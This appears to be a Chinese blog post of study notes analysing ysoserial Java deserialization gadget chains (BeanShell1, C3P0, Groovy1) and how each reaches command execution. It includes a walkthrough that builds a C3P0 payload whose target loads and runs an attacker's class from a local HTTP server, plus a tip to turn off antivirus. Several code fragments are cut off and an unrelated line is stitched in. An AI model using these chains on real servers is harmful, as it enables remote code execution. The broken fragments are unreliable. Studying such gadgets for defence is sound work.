YSOSERIALPayloads分析笔记(2)
前⾔
继续接着前⾯的进⾏分析。
说⼀句感想:YSO的Payloads有个特点:在⽬标的readObject的过程中尽量不触发异常。emm,当然后⾯由于类型的不匹配什么的造成的异常就跟反序列化过程没关系了。
BeanShell1、C3P0、Groovy1、Hibernate1、Hibernate2、URLDNS
各种补充
1. 我在调试过程中是直接执⾏类Payloads中的类⽂件的main函数哦~
2. 调试的过程中发现360会拦计算器,如果发现有时候不弹可以关闭安全软件试⼀哈~
3. idea的⼀些⽅便调试的特性有时会导致调试过程中没到位就时不时的弹,可以适当关闭下调试特性。
BeanShell1
BeanShell是什么?
BeanShell是⼀个⼩型嵌⼊式Java源代码解释器,具有对象脚本语⾔特性,能够动态地执⾏标准JAVA语法,并利⽤在JavaScript和Perl中常见的的松散类型、命令、闭包等通⽤脚本来对其进⾏拓展。BeanShell不仅仅可以通过运⾏其内部的脚本来处理Java应⽤程序,还可以在运⾏过程中动态执⾏你java应⽤程序执⾏java代码。因为BeanShell是⽤java写的,运⾏在同⼀个虚拟机的应⽤程序,因此可以⾃由地引⽤对象脚本并返回结果。
总之是⼀个⽤类似于脚本⽅式执⾏Java代码的解析器。
外层还是利⽤了PriorityQueue在readObject时会调⽤Comparator进⾏重新排序的特点。
这⾥通过BeanShell的Interpreter创建了⼀个compare函数。
emm:因为函数内容可以⾃定义,所以可以执⾏除Runtime以外的代码。
同时这⾥有个XThis:Extended ‘this’ with support for the new jdk1.3 proxy mechanism.
扩展了"this"(应该是Beanshell的this类)⽤来⽀持jdk1.3的代理技巧。
这⾥如CommonsCollections1中⼀样创建了动态代理。
该动态代理代理Comparator接⼝,使⽤了XThis类中的Handler⼦类作为InvocationHandler。这⾥通过反射的⽅法拿到了内部的Handler对象来创建代理。
题外话:其实直接调⽤XThis的正规代理创建接⼝getInterface也可以达到⼀样的效果,只是创建的Payload会由于有个额外的HashTable 会⼤⼀点:
Comparator comparator =(Interface(Comparator.class);
C3P0
百度百科:C3P0是⼀个开源的JDBC连接池,它实现了数据源和JNDI绑定,⽀持JDBC3规范和JDBC2的标准扩展。⽬前使⽤它的开源项⽬有Hibernate,Spring等。
有点不是很理解PoolBackedDataSource这个类是⼲嘛⽤的,所以这⾥只分析调⽤链。
⾸先说下C3P0这个Gadget的使⽤:
我们⾸先需要写⼀个包含默认构造函数的类,然后编译成class:
public class Exploit {
public Exploit(){
try{
}catch(Exception e){
}
}
}
执⾏如下命令:
javac Exploit.java #编译成Exploit.class
java -jar ysoserial.jar C3P0 "127.0.0.1:8080/:Expolit"> evil.obj #⽣成序列化对象
pythom -m SimpleHTTPServer 8080 #等待回连
效果如下:
PoolBackedDataSource b = ateWithoutConstructor(PoolBackedDataSource.class);
有点不太理解PoolBackedDataSource的构造函数本⾝就是public的,为什么还要⽤反射的⽅式进⾏构造。虽然直接调⽤构造函数⽣成的对象也可以命令执⾏,但是却⽐反射调⽤⼤⼤概200字节。
经过查阅资料,发现ysoserial使⽤了ReflectionFactory,。
看着像是⽤Object的构造⽅法(其实就是什么都不⼲)去构造指定类,此处仰望下⼤佬们对Java的理解深度。
后来在翻ObjectInputStream的readObject函数代码时发现,ObjectStreamClass构造函数使⽤ReflectionFactory为没有⽆参构造函数的类不断追溯⽗类(最多到Object),寻午餐构造函数,以便于在readObject过程中进⾏newInstance。
具体⼏个函数:
1. ObjectInputStream的readOrdinaryObject函数(调⽤newInstance进⾏实例化)
2. ObjectStreamClass的私有构造函数private ObjectStreamClass(final Class<?> cl)(构造⽤于实例化的ObjectStreamClass)
3. ObjectStreamClass的getSerializableConstructor⽅法。(查最近⼀级的⽆参构造函数)
可以看到此时的PoolBackedDataSource对象中什么都没有:
⽽使⽤构造器进⾏构造的,内容⼀应俱全:
这也是为什么序列化后的⼤⼩会⼩很多,反正其它属性也⽤不到,留着也是⽩⽩占⽤空间,直接不⽤构造函数进⾏构造就好。
继续:
没什么好说的,将对象的connectionPoolDataSource设置为payloads.C3P0内部PoolSource的对象。
关键的writeObject及readObject函数在PoolBackedDataSourceBase(PoolBackedDataSource的⽗类的⽗类)这个类中。
在writeObject函数中,由于C3P0⽣成类中包含的PoolSource这个类没有继承Serializable接⼝,所以⽆法序列化,则进⼊上图所⽰逻辑,将Reference对象经过ReferenceSerialized包装写⼊数据流中。
由于这个过程中要使⽤Referenceable接⼝的函数,这也就是为什么PoolSource类要同时实现ConnectionPoolDataSource和Referenceable。
readObject⾸先读⼊上⾯writeObject写⼊的ReferenceSerialized(题外话:这⾥如果可以将数据流中的序列化对象换成其他的gadget是不是就不⽤远程调⽤了?不过似乎没什么卵⽤,如果其它gadget能⽤就直接⽤呗~)
⽽后调⽤其getObject⽅法:
⽽后进⼊ferenceToObject⽅法:
perl是用来干嘛的
通过所给baseURL加载了我们上⾯所编写的恶意类,并调⽤⽆参构造函数进⾏实例化,完成了调⽤链的利⽤。
看完了完整的过程,这⾥的作⽤是获取⼯⼚类对象重新构造ConnectionPoolDataSource对象。
Groovy1
final ConvertedClosure closure =new ConvertedClosure(new MethodClosure(command,"execute"),"entrySet");
⾸先说下Groovy的命令执⾏的语法:"command".execute(),也就是说Groovy的语法中直接对字符串调⽤execute命令即可命令执⾏。:
Represents a method on an object using a closure which can be invoked at any time
使⽤⼀个闭包表⽰的⼀个类上的⽅法,这个⽅法可以在任何时候被调⽤
所以⾸先对创建了⼀个对command字符串执⾏execute命令的闭包。
是个InvocationHandler哦~
This class is a general adapter to adapt a closure to any Java interface.
这个类是⼀个通⽤的适配器,⽤来适配⼀个闭包到任意的Java接⼝
⽽后创建了⼀个⽤来适配⽅法entrySet的ConvertedClosure闭包,看到entrySet和InvocationHandler有没有想起来CommonsCollections1?

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。